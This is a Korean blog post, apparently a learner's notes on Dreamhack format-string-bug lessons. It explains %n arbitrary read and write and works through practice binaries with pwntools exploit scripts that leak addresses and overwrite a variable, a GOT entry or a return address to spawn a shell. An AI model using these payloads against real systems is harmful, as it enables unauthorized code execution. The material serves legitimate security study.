[Dreamhack] Systemhacking - Format String Bug

chrmqgozj·2025년 1월 6일

DreamHack

목록 보기
7/39
  1. 개념
    Format String Bug(FSP): 포맷 스트링 함수를 잘못 사용하여 발생하는버그
    printf, scanf, fprintf, fscanf, sprintf, sscanf처럼 함수 이름이 f(formatted)로 끝나고, 문자열을 다루는 함수들은 포맷 스트링을 처리함
    포맷 스트링을 채울 값들을 레지스터나 스택에서 가져오는데, 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다.

1.1. 포맷 스트링

%[parameter][flags][width][.precision][length][specifier]
  • specifier(형식 지정자): 인자를 어떻게 사용할지 지정
  • width(최소 너비): 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자를 문자열 앞에 패딩
  • Length: 출력하고자 하는 변수의 크기 지정
  • Parameter: 참조할 인자의 인덱스 -> 가장 쓸 일이 많을 것으로 추정. [파라미터 값 + $]
    파라미터 범위를 확인하지 않기 때문에 매개변수로 2개를 넘겨주고 파라미터는 3을 가리키도록 할 수 있음. (허용되지 않은 범위까지 확인 가능)

1.2. 포맷 스트링 버그
포맷 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있게 됨.

  • 레지스터 및 스택 읽기
    ex) printf에 전달한 인자가 없는데도 값이 출력되게 만들 수 있음

  • 임의 주소 읽기
    함수 호출규약을 알아야 인자 설정이 이해가 된다.

1~6번째 포인터형 인수까지는 각각 rdi, rsi, rdx, rcx, r8, r9에 저장이 되고 그 이후부터는 스택에 저장이 된다.
이때 함수가 call되면 스택에 리턴 주소가 push가 되고 그 주소부터 7번째로 처리한다.

// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c

#include <stdio.h>

char *secret = "THIS IS SECRET";

int main() {
  char *addr = secret;
  char format[0x100];

  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;
}

예시 코드의 스택을 그려보면

그래서 %7$s가 가리키는 값이 addr가 된다.

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;
}

근데 얘는 또 rsp에 format이 위치해서 %7$s를 하게 되면 format+8을 가리키게 된다고 한다. (솔직히 아직도 이거는 잘 모르겠다. 무슨 최적화 때문에 리턴 주소 관리하는게 달라져서 그렇다고 하는데... 그냥 부딪혀 보는게 맞는듯)

  • 임의 주소 쓰기
    여기서 핵심은 %n인 듯합니다.
    비록 printf에서 사용되더라도 %n은 특이하게 출력한 문자의 수를 저장하는 역할을 한다.

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  printf("Secret: %d", secret);

  return 0;
}

이 코드에 %31337c%8$n + addr_secret을 입력해주게 되면 31337개의 문자를 입력하고(무슨 문자인지는 안 중요한듯...실제로는 공백 문자로 쓰임) 31337이라는 수를 8번째 인자(여기서는 secret)에 저장하게 된다.

  1. Format String Bug
    2.1. 보호기법

2.2. fsb_overwrite.c

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}
  • get_string 함수로 0x20바이트만큼 읽어서 buf에 저장.
  • 읽은 길이가 0x20바이트보다 작으면 buf[size-1] = 0
  • changeme가 1337이 되면 쉘을 딸 수 있음

2.3. 설계

buf = rbp-0x30

b*(main+76) // printf 호출 위치
x/32gx $rsp // rsp 출력

여기서 rsp+0x48 위치에 0x0000555555555293 저장되어 있음

vmmap으로 확인하면 fsb_overwrite 바이너리 내에 위치함

offset = 0x1293

*참고: 앞서 각 매개변수들이 저장되는 위치가 틀리다... (지피티...걸러야겠다)

우리가 offset을 구한 rsp+0x48은 15번째 인자
%15$p를 통해 얻은 주소에서 0x1293을 빼면 pie 베이스 주소.

readelf -s fsb_overwrite | grep changeme

changeme_offset = 0x000000000000401c

changeme offset에 베이스 주소 더하면 changeme 주소

2.4. exploit.py

from pwn import *

p = process('./fsb_overwrite')

changeme_offset = 0x000000000000401c
offset = 0x1293

buf = b'%15$p'

p.sendline(buf)
leaked = int(p.recvline()[:-1], 16)
base = leaked - offset
changeme = changeme_offset + base

buf = b'%1337c%8$n' + b'A'*6
buf += p64(changeme)

p.sendline(buf)

p.interactive()
  1. basic_exploitation_002
    3.1. 보안기법

3.2. basic_exploitation_002.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}
  • get_shell 함수 존재
  • 0x80만큼 읽어서 buf에 저장

3.3. 설계
카나리가 없어서 바로 ret을 덮고 싶지만, read 크기 제한이 딱 buf까지라서 불가하다.
ret 주소를 get_shell 주소로 덮어야 할 것 같은데...

printf에서 덮으려면 %n말고는 없지 않나?

그러면 get_shell 주소만큼 출력하고 %n을 ret에 저장하는걸로 하면 되지 않을까

buf = rbp-0x80
ra = rbp+0x4

미친소리고, 찾아보니 got overwrite를 해야한다고 한다.

c코드 맨 뒤에 exit(0)가 있다.
저 exit got를 get_shell로 덮으면 된다.
근데 이거를 fsb로 할 수 있다고...?

진짜 이거를 처음하면 어떻게 생각해내지...?

exit got 주소와 get_shell 주소를 얻어서(지금 pie 꺼져 있으니까 미리 구해도 괜찮다) get_shell 주소만큼씩 출력해서 %n의 저장 위치를 exit got 위치로 설정한다. 이때 get_shell 주소 위치를 한 번에 넣기는 힘드니까 0x804, 0x8609로 나눠서 입력한다. 이 방식은 드림핵 예제 deadbeef 저장방법이랑 동일하다.

3.4. exploit.py

from pwn import *

p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')

exit_got = e.got['exit']
get_shell = 0x8048609

# 0x804-8 = 2044 / 0x8609 = 32261
buf = p32(exit_got+2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'

p.send(buf)

p.interactive()
  1. basic_exploitation_003
    4.1. 보안기법

4.2. basic_exploitation_003.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}
  • get_shell 함수 존재
  • heap_buf, stack_buf 존재
  • heap_buf에 0x80만큼 읽어서 저장
  • sprintf: 출력 대신 버퍼에 저장 (이 코드에서는 heap_buf에 따라 stack_buf에 값 저장)
  • 마지막에 stack_buf 출력

4.3. 설계
이번에는 덮어씌울 got도 없다. 진짜로 ret에 get_shell 주소 저장해야 되나...

일단 get_shell = 0x8048669

heap_buf = ebp-0x8
stack_buf = ebp-0x98
ret = ebp+0x4

ret 주소도 따로 설정되어 여기서 ret overwrite는 힘들고...
아무래도 main ret overwrite를 해야겠다.

sprintf에 breakpoint를 걸고 $esp를 출력하면
esp = 0xffffcfe8

그러면 002에서 한 것처럼 하되, got 대신에 ret 주소로 하면 되지 않을까?

다시 main 시작할 때 breakpoint를 걸고 $esp를 출력하면
esp = 0xffffd08c -> ret 주소 저장된 위치

그냥 다 필요 없고 stack을 156만큼 채운 다음에 (sprintf라서 가능한 일) ret에 닿으면 거기에 get_shell 주소를 넣으면 된다.

4.4. exploit.py

from pwn import *

p = process('./basic_exploitation_003')

ret_addr = 0xffffd08c
get_shell = 0x8048669

buf = b'%156c' + p32(get_shell)

p.send(buf)

p.interactive()

(솔직히 좀 허무하다...근데 위에꺼는 되는데 왜 밑에 코드는 안 되는거지...?)
(아 진짜...이거는 버퍼에 옮기는게 목적이 아니고, 해당 값을 stack_buf에 저장하는게 목적이다... 그러면 printf랑 작동이 다르게 되지 않을까... 친구야)

from pwn import *

p = process('./basic_exploitation_003')

ret_addr = 0xffffd08c
get_shell = 0x8048669

buf = p32(ret_addr+2) + p32(ret_addr) + b'%2044c%1$hn%32261c%2$hn'

p.send(buf)

p.interactive()

그렇다고 한다.

0개의 댓글